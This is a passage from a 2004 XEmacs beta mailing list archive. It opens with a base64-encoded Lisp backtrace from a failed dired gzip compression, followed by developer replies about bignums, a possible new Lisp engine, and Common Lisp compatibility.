c2l0LWZvciAwXSAzKSkpKQogICMgYmluZCAoZW9mLXNlbnQpCiAgYnl0ZS1jb2RlKCIuLi4i IFtlb2Ytc2VudCBpbmJ1ZiBzdGRlcnIgbm8td2FpdCBlcnJidWYgcHJvYyBzZXQtcHJvY2Vz cy1zZW50aW5lbCBsYW1iZGEgKHByb2Mgc3RhdHVzKSAoc2V0LXByb2Nlc3Mtc2VudGluZWwg cHJvYyBuaWwpIChwcm9jZXNzLXN5bmNocm9uaXplLXBvaW50IHByb2MpIHdpdGgtY3VycmVu dC1idWZmZXIgd3JpdGUtcmVnaW9uLWludGVybmFsIDEgKDErIChidWZmZXItc2l6ZSkpIChu aWwgKHF1b3RlIG1ham9yLXJtcy1rbHVkZ2UtY2l0eSkgbmlsIGNvZGluZy1zeXN0ZW0tZm9y LXdyaXRlKSBraWxsLWJ1ZmZlciAjPGNvbXBpbGVkLWZ1bmN0aW9uIChwcm9jIHN0YXR1cykg Ii4uLig2NCkiIFtzdGF0dXMgY29kaW5nLXN5c3RlbS1mb3Itd3JpdGUgc3RkZXJyIGVycmJ1 ZiBwcm9jIHByb2Nlc3Mtc3luY2hyb25pemUtcG9pbnQgd3JpdGUtcmVnaW9uLWludGVybmFs IDEgYnVmZmVyLXNpemUgbmlsIG1ham9yLXJtcy1rbHVkZ2UtY2l0eSBwcm9jZXNzLXN0YXR1 cyBleGl0IHNldC1wcm9jZXNzLXNlbnRpbmVsIHRocm93IGNhbGwtcHJvY2Vzcy1kb25lIHBy b2Nlc3MtZXhpdC1zdGF0dXMgc2lnbmFsXSA4PiBuaWwgKGJ5dGUtY29kZSAiDICrj6eAxg0L XG4MJI+ogMcNIY+ogMgRgMkNIY+ogMoNIY+oCICrdYDLgMwhj6iAqm8iIFtkaXNwbGF5IGVv Zi1zZW50IGVuZCBzdGFydCBpbmJ1ZiBwcm9jIHByb2Nlc3Mtc2VuZC1yZWdpb24gcHJvY2Vz cy1zZW5kLWVvZiB0IGFjY2VwdC1wcm9jZXNzLW91dHB1dCBwcm9jZXNzLXN5bmNocm9uaXpl LXBvaW50IHNpdC1mb3IgMF0gNSkgKChxdWl0IChieXRlLWNvZGUgIoDDgMRcblwij6gJgKyP pIDFXG4hj6iAxlxuIY+ogMdcbiGPqAiAq3WAyIDJIY+ogKpvIiBbZGlzcGxheSBlb2Ytc2Vu dCBwcm9jIHByb2Nlc3Mtc2VuZC1zaWduYWwgU0lHSU5UIHByb2Nlc3Mtc2VuZC1lb2YgYWNj ZXB0LXByb2Nlc3Mtb3V0cHV0IHByb2Nlc3Mtc3luY2hyb25pemUtcG9pbnQgc2l0LWZvciAw XSAzKSkpIHByb2Nlc3Mtc2VuZC1yZWdpb24gcHJvY2Vzcy1zZW5kLWVvZiBzdGFydCBlbmRd IDE0KQogICMgKGNhdGNoIGNhbGwtcHJvY2Vzcy1kb25lIC4uLikKICAjICh1bndpbmQtcHJv dGVjdCAuLi4pCiAgIyBiaW5kIChzdGRlcnIpCiAgIyAodW53aW5kLXByb3RlY3QgLi4uKQog ICMgYmluZCAocHJvYyBpbmJ1ZiBlcnJidWYga2lsbC1pbmJ1ZiBraWxsLWVycmJ1ZiBuby13 YWl0IHN0YXJ0IGVuZCBhcmdzIGRpc3BsYXkgYnVmZmVyIGluZmlsZSBwcm9ncmFtKQogIGNh bGwtcHJvY2Vzcy1pbnRlcm5hbCgiZ3ppcCIgIi9ob21lL2JvZmZpL1N0YW1wZVBpb2xhLzIw MDQwNDE1LmNzdiIgdCBuaWwgIi9ob21lL2JvZmZpL1N0YW1wZVBpb2xhLzIwMDQwNDE1LmNz diIpCiAgYXBwbHkoY2FsbC1wcm9jZXNzLWludGVybmFsICJnemlwIiAiL2hvbWUvYm9mZmkv U3RhbXBlUGlvbGEvMjAwNDA0MTUuY3N2IiB0IG5pbCAiL2hvbWUvYm9mZmkvU3RhbXBlUGlv bGEvMjAwNDA0MTUuY3N2IikKICAjIGJpbmQgKGNvZGluZy1zeXN0ZW0tZm9yLXJlYWQgY29k aW5nLXN5c3RlbS1mb3Itd3JpdGUgY3MtciBjcy13IGFyZ3MgZGlzcGxheXAgYnVmZmVyIGlu ZmlsZSBwcm9ncmFtKQogIGNhbGwtcHJvY2VzcygiZ3ppcCIgIi9ob21lL2JvZmZpL1N0YW1w ZVBpb2xhLzIwMDQwNDE1LmNzdiIgdCBuaWwgIi9ob21lL2JvZmZpL1N0YW1wZVBpb2xhLzIw MDQwNDE1LmNzdiIpCiAgYXBwbHkoY2FsbC1wcm9jZXNzICJnemlwIiAiL2hvbWUvYm9mZmkv U3RhbXBlUGlvbGEvMjAwNDA0MTUuY3N2IiB0IG5pbCAiL2hvbWUvYm9mZmkvU3RhbXBlUGlv bGEvMjAwNDA0MTUuY3N2IikKICAjIGJpbmQgKGNvbXByLWFyZ3MgZGF0YSkKICAjICh1bndp bmQtcHJvdGVjdCAuLi4pCiAgIyBiaW5kIChjb21wcmVzc2VkLWZuIGVyci1idWZmIGhhbmRs ZXIgb2stZmxhZyBmaWxlKQogIGRpcmVkLWNvbXByZXNzLWZpbGUoIi9ob21lL2JvZmZpL1N0 YW1wZVBpb2xhLzIwMDQwNDE1LmNzdiIgbmlsKQogIGFwcGx5KGRpcmVkLWNvbXByZXNzLWZp bGUgKCIvaG9tZS9ib2ZmaS9TdGFtcGVQaW9sYS8yMDA0MDQxNS5jc3YiIG5pbCkpCiAgIyBi aW5kIChpbmhpYml0LWZpbGUtbmFtZS1oYW5kbGVycyBpbmhpYml0LWZpbGUtbmFtZS1vcGVy YXRpb24gYXJncyBvcCkKICBkaXJlZC1oYW5kbGVyLWZuKGRpcmVkLWNvbXByZXNzLWZpbGUg Ii9ob21lL2JvZmZpL1N0YW1wZVBpb2xhLzIwMDQwNDE1LmNzdiIgbmlsKQogICMgYmluZCAo aGFuZGxlciBvay1mbGFnIGZpbGUpCiAgZGlyZWQtY29tcHJlc3MtZmlsZSgiL2hvbWUvYm9m ZmkvU3RhbXBlUGlvbGEvMjAwNDA0MTUuY3N2IiBuaWwpCiAgIyBiaW5kIChkaXJlZC11bmhh bmRsZS1hZGQtZmlsZXMpCiAgYnl0ZS1jb2RlKCIuLi4iIFtkaXJlZC1vdmVyd3JpdGUtY29u ZmlybWVkIGZyb20gZmlsZS1jcmVhdG9yIGRpcmVkLXVuaGFuZGxlLWFkZC1maWxlcyBzdWNj ZXNzLWNvdW50IHRvIG1lc3NhZ2UgIiVzOiAlZCBvZiAlZCIgZGlyZWQtYWRkLWZpbGUgaW1w bGljaXQtdG8gb3BlcmF0aW9uIHRvdGFsIGFjdHVhbC1tYXJrZXItY2hhcl0gNSkKICAjIChj b25kaXRpb24tY2FzZSAuLi4gLiAoKGZpbGUtZXJyb3IgKGJ5dGUtY29kZSAigMUMIQtCE4DG gMdwIYDIXG4MCQgmBo+nIiBbZXJyIHRvIG9wZXJhdGlvbiBmYWlsdXJlcyBmcm9tIGRpcmVk LW1ha2UtcmVsYXRpdmUgZGlyZWQtbG9nIGJ1ZmZlci1uYW1lICIlcyBgJXMnIHRvIGAlcycg ZmFpbGVkOlxuJXNcbiJdIDcpKSkpCiAgIyBiaW5kIChhY3R1YWwtbWFya2VyLWNoYXIgZGly ZWQtb3ZlcndyaXRlLWNvbmZpcm1lZCBvdmVyd3JpdGUgdG8gZnJvbSkKICAjPGNvbXBpbGVk LWZ1bmN0aW9uIChmcm9tKSAiLi4uKDEyMSkiIFtvdmVyd3JpdGUgcXVlcnkgbWFya2VyLWNo YXIgdG8gc2tpcHBlZCBmcm9tIGRpcmVkLWxvZyBidWZmZXItbmFtZSAiQ2Fubm90ICVzIHRv IHNhbWUgZmlsZTogJXNcbiIgZGlyZWQtbWFrZS1yZWxhdGl2ZSBuaWwgZmlsZS1leGlzdHMt cCAoZm9ybWF0ICJUeXBlIFNQQyBvciBgeScgdG8gb3ZlcndyaXRlIGZpbGUgYCVzJyxcbkRF TCBvciBgbicgdG8gc2tpcCB0byBuZXh0LFxuRVNDIG9yIGBxJyB0byBub3Qgb3ZlcndyaXRl IGFueSBvZiB0aGUgcmVtYWluaW5nIGZpbGVzLFxuYCEnIHRvIG92ZXJ3cml0ZSBhbGwgcmVt YWluaW5nIGZpbGVzIHdpdGggbm8gbW9yZSBxdWVzdGlvbnMuIiB0bykgZGlyZWQtcXVlcnkg b3ZlcndyaXRlLXF1ZXJ5ICJPdmVyd3JpdGUgJXM/IiBjaGFyYWN0ZXJwIGRpcmVkLWZpbGUt bWFya2VyIGVyciAoYnl0ZS1jb2RlICINC0IbDgmAq4+nXG4JCFwij6iAqo+mXG4JDQgjj6gM VBSAxoDHDlxuDA4LJI+ogMgNDgxcIimPpyIgW2RpcmVkLW92ZXJ3cml0ZS1jb25maXJtZWQg ZnJvbSBmaWxlLWNyZWF0b3IgZGlyZWQtdW5oYW5kbGUtYWRkLWZpbGVzIHN1Y2Nlc3MtY291 bnQgdG8gbWVzc2FnZSAiJXM6ICVkIG9mICVkIiBkaXJlZC1hZGQtZmlsZSBpbXBsaWNpdC10 byBvcGVyYXRpb24gdG90YWwgYWN0dWFsLW1hcmtlci1jaGFyXSA1KSAoKGZpbGUtZXJyb3Ig KGJ5dGUtY29kZSAigMUMIQtCE4DGgMdwIYDIXG4MCQgmBo+nIiBbZXJyIHRvIG9wZXJhdGlv biBmYWlsdXJlcyBmcm9tIGRpcmVkLW1ha2UtcmVsYXRpdmUgZGlyZWQtbG9nIGJ1ZmZlci1u YW1lICIlcyBgJXMnIHRvIGAlcycgZmFpbGVkOlxuJXNcbiJdIDcpKSkgZGlyZWQtb3Zlcndy aXRlLWNvbmZpcm1lZCBuYW1lLWNvbnN0cnVjdG9yIG9wZXJhdGlvbiBqa2EtY29tcHItZW5h YmxlZCBoZWxwLWZvcm0gYWN0dWFsLW1hcmtlci1jaGFyXSA2PigiL2hvbWUvYm9mZmkvU3Rh bXBlUGlvbGEvMjAwNDA0MTUuY3N2IikKICBtYXBjYXIoIzxjb21waWxlZC1mdW5jdGlvbiAo ZnJvbSkgIi4uLigxMjEpIiBbb3ZlcndyaXRlIHF1ZXJ5IG1hcmtlci1jaGFyIHRvIHNraXBw ZWQgZnJvbSBkaXJlZC1sb2cgYnVmZmVyLW5hbWUgIkNhbm5vdCAlcyB0byBzYW1lIGZpbGU6 ICVzXG4iIGRpcmVkLW1ha2UtcmVsYXRpdmUgbmlsIGZpbGUtZXhpc3RzLXAgKGZvcm1hdCAi VHlwZSBTUEMgb3IgYHknIHRvIG92ZXJ3cml0ZSBmaWxlIGAlcycsXG5ERUwgb3IgYG4nIHRv IHNraXAgdG8gbmV4dCxcbkVTQyBvciBgcScgdG8gbm90IG92ZXJ3cml0ZSBhbnkgb2YgdGhl IHJlbWFpbmluZyBmaWxlcyxcbmAhJyB0byBvdmVyd3JpdGUgYWxsIHJlbWFpbmluZyBmaWxl cyB3aXRoIG5vIG1vcmUgcXVlc3Rpb25zLiIgdG8pIGRpcmVkLXF1ZXJ5IG92ZXJ3cml0ZS1x dWVyeSAiT3ZlcndyaXRlICVzPyIgY2hhcmFjdGVycCBkaXJlZC1maWxlLW1hcmtlciBlcnIg KGJ5dGUtY29kZSAiDQtCGw4JgKuPp1xuCQhcIo+ogKqPplxuCQ0II4+oDFQUgMaAxw5cbgwO CySPqIDIDQ4MXCIpj6ciIFtkaXJlZC1vdmVyd3JpdGUtY29uZmlybWVkIGZyb20gZmlsZS1j cmVhdG9yIGRpcmVkLXVuaGFuZGxlLWFkZC1maWxlcyBzdWNjZXNzLWNvdW50IHRvIG1lc3Nh Z2UgIiVzOiAlZCBvZiAlZCIgZGlyZWQtYWRkLWZpbGUgaW1wbGljaXQtdG8gb3BlcmF0aW9u IHRvdGFsIGFjdHVhbC1tYXJrZXItY2hhcl0gNSkgKChmaWxlLWVycm9yIChieXRlLWNvZGUg IoDFDCELQhOAxoDHcCGAyFxuDAkIJgaPpyIgW2VyciB0byBvcGVyYXRpb24gZmFpbHVyZXMg ZnJvbSBkaXJlZC1tYWtlLXJlbGF0aXZlIGRpcmVkLWxvZyBidWZmZXItbmFtZSAiJXMgYCVz JyB0byBgJXMnIGZhaWxlZDpcbiVzXG4iXSA3KSkpIGRpcmVkLW92ZXJ3cml0ZS1jb25maXJt ZWQgbmFtZS1jb25zdHJ1Y3RvciBvcGVyYXRpb24gamthLWNvbXByLWVuYWJsZWQgaGVscC1m b3JtIGFjdHVhbC1tYXJrZXItY2hhcl0gNj4gKCIvaG9tZS9ib2ZmaS9TdGFtcGVQaW9sYS8y MDA0MDQxNS5jc3YiKSkKICAjICh1bndpbmQtcHJvdGVjdCAuLi4pCiAgIyBiaW5kIChib2xt IGZubHAgb2Zmc2V0LWJvbCBzdWNjZXNzLWNvdW50IHRvdGFsIGZhaWx1cmVzIHNraXBwZWQg b3ZlcndyaXRlLXF1ZXJ5IGltcGxpY2l0LXRvIHF1ZXJ5IG1hcmtlci1jaGFyIG5hbWUtY29u c3RydWN0b3IgZm4tbGlzdCBvcGVyYXRpb24gZmlsZS1jcmVhdG9yKQogIGRpcmVkLWNyZWF0 ZS1maWxlcyhkaXJlZC1jb21wcmVzcy1maWxlICJDb21wcmVzcyBvciBVbmNvbXByZXNzIiAo Ii9ob21lL2JvZmZpL1N0YW1wZVBpb2xhLzIwMDQwNDE1LmNzdiIpICM8Y29tcGlsZWQtZnVu Y3Rpb24gKGZuKSAiLi4uKDIxKSIgW2ZuIGNmbiBkaXJlZC1tYWtlLWNvbXByZXNzZWQtZmls ZW5hbWUgMF0gND4gdCBuaWwgdCkKICAjIGJpbmQgKGZpbGVzIGFyZykKICAjPGNvbXBpbGVk LWZ1bmN0aW9uICgmb3B0aW9uYWwgYXJnIGZpbGVzKSAiLi4uKDE3KSIgW2RpcmVkLWtlZXAt bWFya2VyLWNvbXByZXNzIGZpbGVzIGFyZyAwIGRpcmVkLWNyZWF0ZS1maWxlcyBkaXJlZC1j b21wcmVzcy1maWxlICJDb21wcmVzcyBvciBVbmNvbXByZXNzIiAjPGNvbXBpbGVkLWZ1bmN0 aW9uIChmbikgIi4uLigyMSkiIFtmbiBjZm4gZGlyZWQtbWFrZS1jb21wcmVzc2VkLWZpbGVu YW1lIDBdIDQ+IG5pbCB0XSA4ICgiL3Vzci9sb2NhbC9saWIveGVtYWNzL3hlbWFjcy1wYWNr YWdlcy9saXNwL2RpcmVkL2RpcmVkLWNtcHIuZWxjIiAuIDY4MCkgKGxldCAoKGFyZyAocHJl Zml4LW51bWVyaWMtdmFsdWUgY3VycmVudC1wcmVmaXgtYXJnKSkgZmlsZXMpIChpZiAoemVy b3AgYXJnKSAobGV0ICgobmV3IChjb21wbGV0aW5nLXJlYWQgKGZvcm1hdCAiU2V0IGNvbXBy ZXNzaW9uIG1ldGhvZCAoY3VycmVudGx5ICVzKTogIiBkaXJlZC1jb21wcmVzc2lvbi1tZXRo b2QpIChtYXBjYXIgKGZ1bmN0aW9uIChsYW1iZGEgKHgpIChjb25zIChzeW1ib2wtbmFtZSAo Y2FyIHgpKSBuaWwpKSkgZGlyZWQtY29tcHJlc3Npb24tbWV0aG9kLWFsaXN0KSBuaWwgdCkp KSAob3IgKHN0cmluZy1lcXVhbCBuZXcgIiIpIChzZXRxIGRpcmVkLWNvbXByZXNzaW9uLW1l dGhvZCAoaW50ZXJuIG5ldykpKSkgKHNldHEgZmlsZXMgKGRpcmVkLWdldC1tYXJrZWQtZmls ZXMgbmlsIGN1cnJlbnQtcHJlZml4LWFyZykpIChvciAobWVtcSAocXVvdGUgY29tcHJlc3Mp IGRpcmVkLW5vLWNvbmZpcm0pIChsZXQqICgoZGlyIChkaXJlZC1jdXJyZW50LWRpcmVjdG9y eSkpIChyZmlsZXMgKG1hcGNhciAoZnVuY3Rpb24gKGxhbWJkYSAoZm4pIChkaXJlZC1tYWtl LXJlbGF0aXZlIGZuIGRpciB0KSkpIGZpbGVzKSkgKHByb21wdCAiIikgKGNvbXAgMCkgKHVu Y29tcCBuaWwpICh0b3RhbCAobGVuZ3RoIGZpbGVzKSkgZWx0KSAobWFwY2FyIChmdW5jdGlv biAobGFtYmRhIChmbikgKGlmIChsaXN0cCAoc2V0cSBlbHQgKGRpcmVkLW1ha2UtY29tcHJl c3NlZC1maWxlbmFtZSBmbikpKSAobGV0KiAoKG1ldGhvZCAoY2FyIChudGggMyBlbHQpKSkg KGNvdW50IChhc3NvYyBtZXRob2QgdW5jb21wKSkpIChpZiBjb3VudCAoc2V0Y2RyIGNvdW50 ICgxKyAoY2RyIGNvdW50KSkpIChzZXRxIHVuY29tcCAoY29ucyAoY29ucyBtZXRob2QgMSkg dW5jb21wKSkpKSAoc2V0cSBjb21wICgxKyBjb21wKSkpKSkgZmlsZXMpIChpZiAoLz0gY29t cCAwKSAoc2V0cSBwcm9tcHQgKGZvcm1hdCAiJXMgJWQiIChjYXIgKG50aCAyIChhc3NxIGRp cmVkLWNvbXByZXNzaW9uLW1ldGhvZCBkaXJlZC1jb21wcmVzc2lvbi1tZXRob2QtYWxpc3Qp KSkgY29tcCkpKSAoaWYgdW5jb21wIChsZXQgKChjYXNlLWZvbGQtc2VhcmNoIHQpIG1ldGhv ZCkgKG9yIChzdHJpbmctZXF1YWwgcHJvbXB0ICIiKSAoc2V0cSBwcm9tcHQgKGNvbmNhdCBw cm9tcHQgIjsgIikpKSAoc2V0cSB1bmNvbXAgKHNvcnQgKG1hcGNhciAoZnVuY3Rpb24gKGxh bWJkYSAoZWx0KSAoc2V0cSBtZXRob2QgKGNhciBlbHQpKSAoaWYgKHN0cmluZy1lcXVhbCBt ZXRob2QgImd6aXAiKSAoc2V0cSBtZXRob2QgImd1bnppcCIpIChvciAoc3RyaW5nLW1hdGNo ICJedW4iIG1ldGhvZCkgKHNldHEgbWV0aG9kIChjb25jYXQgInVuIiBtZXRob2QpKSkpIChz ZXRjYXIgZWx0IG1ldGhvZCkgZWx0KSkgdW5jb21wKSAoZnVuY3Rpb24gKGxhbWJkYSAoeCB5 KSAoc3RyaW5nPCAoY2FyIHgpIChjYXIgeSkpKSkpKSAoc2V0cSBwcm9tcHQgKGNvbmNhdCBw cm9tcHQgKG1hcGNvbmNhdCAoZnVuY3Rpb24gKGxhbWJkYSAoZWx0KSAoZm9ybWF0ICIlcyAl ZCIgKGNhciBlbHQpIChjZHIgZWx0KSkpKSB1bmNvbXAgIiwgIikpKSkpIChjb25kICgoPSAo bGVuZ3RoIHJmaWxlcykgMSkgKHNldHEgcHJvbXB0IChmb3JtYXQgIiVzICVzPyAiIChzdWJz dHJpbmcgcHJvbXB0IDAgLTIpIChjYXIgcmZpbGVzKSkpKSAoKG9yICg+IChsZW5ndGggdW5j b21wKSAxKSAoYW5kICgvPSAwIGNvbXApIHVuY29tcCkpIChzZXRxIHByb21wdCAoZm9ybWF0 ICIlcz8gVG90YWw6ICVkIGZpbGUlcyAiIHByb21wdCB0b3RhbCAoZGlyZWQtcGx1cmFsLXMg dG90YWwpKSkpICgoc2V0cSBwcm9tcHQgKGZvcm1hdCAiJXMgZmlsZSVzPyAiIHByb21wdCAo ZGlyZWQtcGx1cmFsLXMgdG90YWwpKSkpKSAob3IgKGRpcmVkLW1hcmstcG9wLXVwIG5pbCAo cXVvdGUgY29tcHJlc3MpIHJmaWxlcyAocXVvdGUgeS1vci1uLXApIHByb21wdCkgKHNldHEg YXJnIDApKSkpKSAobGlzdCBhcmcgZmlsZXMpKT4oMSAoIi9ob21lL2JvZmZpL1N0YW1wZVBp b2xhLzIwMDQwNDE1LmNzdiIpKQogIGNhbGwtaW50ZXJhY3RpdmVseShkaXJlZC1kby1jb21w cmVzcykKICAoZGlzcGF0Y2gtZXZlbnQgIltpbnRlcm5hbF0iKQogICMgKGNvbmRpdGlvbi1j YXNlIC4uLiAuIGVycm9yKQogICMgKGNhdGNoIHRvcC1sZXZlbCAuLi4pCg== --+7ATZUv2oz-- From xemacs-beta-admin@xemacs.org Wed Apr 21 12:59:33 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3LGx7s08097; Wed, 21 Apr 2004 12:59:07 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3LGwb307577 for xemacs-beta-mailman@xemacs.org; Wed, 21 Apr 2004 12:58:37 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3LGwYY07503 for turnbull@tux.org; Wed, 21 Apr 2004 12:58:34 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3LGwTs07423; Wed, 21 Apr 2004 12:58:29 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BGL3I-0007gd-00; Thu, 22 Apr 2004 01:58:24 +0900 To: Hrvoje Niksic Cc: xemacs-beta@xemacs.org Subject: Re: Bignums and stuff Organization: The XEmacs Project References: <87hdvgwd80.fsf@tleepslib.sk.tsukuba.ac.jp> <87zn96riq8.fsf@tleepslib.sk.tsukuba.ac.jp> <87n056rbsh.fsf@tleepslib.sk.tsukuba.ac.jp> <873c6xrgc0.fsf@tleepslib.sk.tsukuba.ac.jp> <87y8opo4hb.fsf@tleepslib.sk.tsukuba.ac.jp> From: "Stephen J. Turnbull" Date: Thu, 22 Apr 2004 01:58:24 +0900 In-Reply-To: (Hrvoje Niksic's message of "Wed, 21 Apr 2004 16:59:11 +0200") Message-ID: <87llkpnu8f.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Hrvoje" == Hrvoje Niksic writes: Hrvoje> So yes, we could be a lot faster. It doesn't mean that Hrvoje> it's OK to arbitrarily slow down the current code base Hrvoje> while waiting for a "Lisp engine switch" or whatever. True. I just think we're already slow enough that bignum overhead will never be perceptible to users who don't use them. That needs empirical proof, of course. Hrvoje> But the nice thing would be that, if DEFVAR_FULLINT turns Hrvoje> out to work well, *all* (or the large majority of) our Hrvoje> variables might become DEFVAR_FULLINT. Then that problem Hrvoje> goes away. Ah, OK. But this only works with mandatory bignums. So don't give up on getting them soon---I can't efficiently do the work, I don't think, so I can't promise to make the happen, but I don't think I'll stand in the way if someone else wants to do the work. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Wed Apr 21 13:07:19 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3LH72s16445; Wed, 21 Apr 2004 13:07:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3LH6lD16151 for xemacs-beta-mailman@xemacs.org; Wed, 21 Apr 2004 13:06:47 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3LH6iG16103 for turnbull@tux.org; Wed, 21 Apr 2004 13:06:44 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3LH6gs16057 for ; Wed, 21 Apr 2004 13:06:43 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BGLBJ-0007ov-00 for ; Thu, 22 Apr 2004 02:06:41 +0900 To: XEmacs beta Subject: Re: XEmacs lisp engine References: <87hdvgwd80.fsf@tleepslib.sk.tsukuba.ac.jp> <87zn96riq8.fsf@tleepslib.sk.tsukuba.ac.jp> <87n056rbsh.fsf@tleepslib.sk.tsukuba.ac.jp> <873c6xrgc0.fsf@tleepslib.sk.tsukuba.ac.jp> <87y8opo4hb.fsf@tleepslib.sk.tsukuba.ac.jp> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Thu, 22 Apr 2004 02:06:41 +0900 In-Reply-To: (Didier Verna's message of "Wed, 21 Apr 2004 17:17:40 +0200") Message-ID: <87hdvdntum.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "dvl" == Didier Verna writes: dvl> Is there a chance that XEmacs will have a real lisp dvl> engine instead of elisp in a (how distant ?) future ? Technically, yes. Mike is certainly capable, there are probably others, including a lot of X?Emacs users who don't generally hang out here. But politically, things are split three ways: GNU Emacs will probably go Guile, Mike---our resident Lispish implementer---likes Scheme, and most of the people with practical interest seem to want Common Lisp. I think the best bet would be for somebody to do a Naggum and fork something off. If there were something attractive on the table we might take the patches. But a push from XEmacs Review seems unlikely. Soonest would be a couple of years, I would think. This is at least as big as Mule, wouldn't you say? -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Wed Apr 21 13:21:17 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3LHL1s30344; Wed, 21 Apr 2004 13:21:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3LHKlu30137 for xemacs-beta-mailman@xemacs.org; Wed, 21 Apr 2004 13:20:47 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3LHKjs30100 for turnbull@tux.org; Wed, 21 Apr 2004 13:20:45 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3LHKhs30054 for ; Wed, 21 Apr 2004 13:20:43 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BGLOo-0007rA-00; Thu, 22 Apr 2004 02:20:38 +0900 To: Lars Brinkhoff Cc: xemacs-beta@xemacs.org Subject: Re: Bignums and stuff References: <87hdvgwd80.fsf@tleepslib.sk.tsukuba.ac.jp> <87zn96riq8.fsf@tleepslib.sk.tsukuba.ac.jp> <87n056rbsh.fsf@tleepslib.sk.tsukuba.ac.jp> <873c6xrgc0.fsf@tleepslib.sk.tsukuba.ac.jp> <87y8opo4hb.fsf@tleepslib.sk.tsukuba.ac.jp> <85n0558lwf.fsf@junk.nocrew.org> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Thu, 22 Apr 2004 02:20:38 +0900 In-Reply-To: <85n0558lwf.fsf@junk.nocrew.org> (Lars Brinkhoff's message of "21 Apr 2004 16:07:28 +0200") Message-ID: <87d661nt7d.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Lars" == Lars Brinkhoff writes: Lars> I'm only a humble outsider, but it seems to me that XEmacs Lars> is getting closer and closer to Common Lisp (characters, Lars> bit-vectors, now bignums). Is compatability with CLtL2, Lars> where possible, a goal? Yes, but not very high priority. It's not clear to me that our characters are compatible with CL, or whether they will be. As for adding CL features, XEmacs has dumped much of the standard CL emulation library cl.el for many years, and some of them have migrated into C for efficiency. Patches for more CL compatibilty would be considered, and I would imagine probably accepted if they didn't conflict with GNU Emacs compatibility. Also in the long run GNU Emacs is (AFAIK) supposed to move to Guile, a Scheme implementation, for its implementation and extension language. And there are influential XEmacs developers who favor Scheme (although not Guile) as well, so the issue remains controversial. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Wed Apr 21 13:27:12 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id 